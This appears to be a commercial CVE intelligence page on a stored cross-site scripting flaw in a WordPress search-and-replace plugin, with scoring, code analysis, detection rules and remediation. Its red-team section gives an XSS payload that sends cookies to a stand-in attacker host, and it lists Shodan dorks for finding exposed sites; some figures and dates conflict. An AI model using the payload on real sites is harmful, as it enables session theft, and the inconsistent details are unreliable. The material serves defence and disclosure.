☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Creativemindssolutions logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-54727

CVE-2025-54727 Cross-Site Scripting in Creativemindssolutions
📅 PUBLISHED: 2025-08-14 19:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.9
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
5.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-54727 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin CM On Demand Search And Replace by CreativeMindsSolutions. The vulnerability exists in versions up to and including 1.5.2, where user input is improperly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious scripts that are stored on the server and executed in the browsers of other users, including administrators. This can lead to session hijacking, credential theft, or defacement. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the lack of a patch makes this a persistent risk for WordPress sites using this plugin.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since no patch is available, users must consider removing the plugin entirely. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Requires contributor-level access.
  • User Interaction (UI): Required (R) – Victim must visit the affected page.
  • Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): Low (L) – Limited service disruption.

CVSS Score: 5.9 (Medium)
Threat Level: Medium – Exploitation requires authentication but can lead to significant impact if an administrator is targeted.

Deep Dive & Mechanics

The vulnerability resides in the cm-on-demand-search-and-replace plugin, which provides search and replace functionality for WordPress content. The plugin fails to sanitize or escape user-supplied input when rendering search results or configuration pages. An attacker with contributor-level access can inject malicious JavaScript into fields such as search terms, replacement strings, or custom messages. This input is stored in the database and later executed when an administrator or other user views the affected page.

The root cause is improper neutralization of input during web page generation (CWE-79). The plugin likely uses echo or print without applying WordPress escaping functions like esc_html() or wp_kses_post().

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code (version <= 1.5.2)
function display_search_results($search_term) {
    echo "<div class='search-result'>You searched for: " . $search_term . "</div>";
}

A patched version would use proper escaping:

// Patched code (hypothetical)
function display_search_results($search_term) {
    echo "<div class='search-result'>You searched for: " . esc_html($search_term) . "</div>";
}

The esc_html() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress instance with CM On Demand Search And Replace <= 1.5.2 installed and activated.
  • Contributor-level account credentials.

Exploitation Steps:

  1. Log in as a contributor.
  2. Navigate to the plugin's search/replace interface.
  3. In a text field (e.g., search term), inject the following payload:
    <script>alert('XSS')</script>
    
  4. Save the configuration or perform a search.
  5. When an administrator views the search results or configuration page, the script executes.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection Steps:

  1. Monitor for unusual POST requests to plugin-specific endpoints (e.g., /wp-admin/admin-ajax.php?action=cm_on_demand_search).
  2. Inspect database entries in wp_options or custom tables for script tags.
  3. Use web application firewall (WAF) rules to block common XSS patterns.

Honeypot Setup:

  • Create a fake admin user and monitor for unexpected redirects or cookie changes.
  • Deploy a WordPress plugin that logs all admin page views and alerts on script execution.

Indicators of Compromise (IOCs)

  • Network: HTTP requests containing <script> tags in POST parameters to plugin endpoints.
  • Host: Files in /wp-content/plugins/cm-on-demand-search-and-replace/ with suspicious modifications.
  • Database: Entries in wp_options or custom tables containing %3Cscript%3E (URL-encoded script tags).
  • Logs: WordPress debug log entries showing wp_die or wp_redirect calls from the plugin.

Detection Engineering

YARA Rule

rule CVE_2025_54727_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in CM On Demand Search And Replace plugin"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2025-54727"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: CVE-2025-54727 Stored XSS in CM On Demand Search And Replace
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS attempts against CM On Demand Search And Replace plugin
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=cm_on_demand_search'
        cs-uri-query|contains|all:
            - '<script'
            - '</script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in content (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-54727 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=cm_on_demand_search"; http_client_body; content:"<script"; nocase; pcre:"/<script[^>]*>.*<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin – Deactivate and delete cm-on-demand-search-and-replace from the WordPress admin panel.
  2. Scan for compromise – Use a security plugin (e.g., Wordfence) to scan for injected scripts in posts, pages, and options.
  3. Review user accounts – Remove any suspicious contributor accounts.

Long-Term Mitigation:

  • Monitor the plugin's page for a patched version (>= 1.5.3).
  • Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
  • Enforce the principle of least privilege for WordPress user roles.
  • Regularly audit plugins for known vulnerabilities.

Workaround (if plugin is critical):

  • Manually patch the plugin by adding esc_html() to all output functions in the plugin's PHP files. However, this is not recommended due to potential breakage.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"CM On Demand Search And Replace"
http.html:"cm-on-demand-search-and-replace"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-54727/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.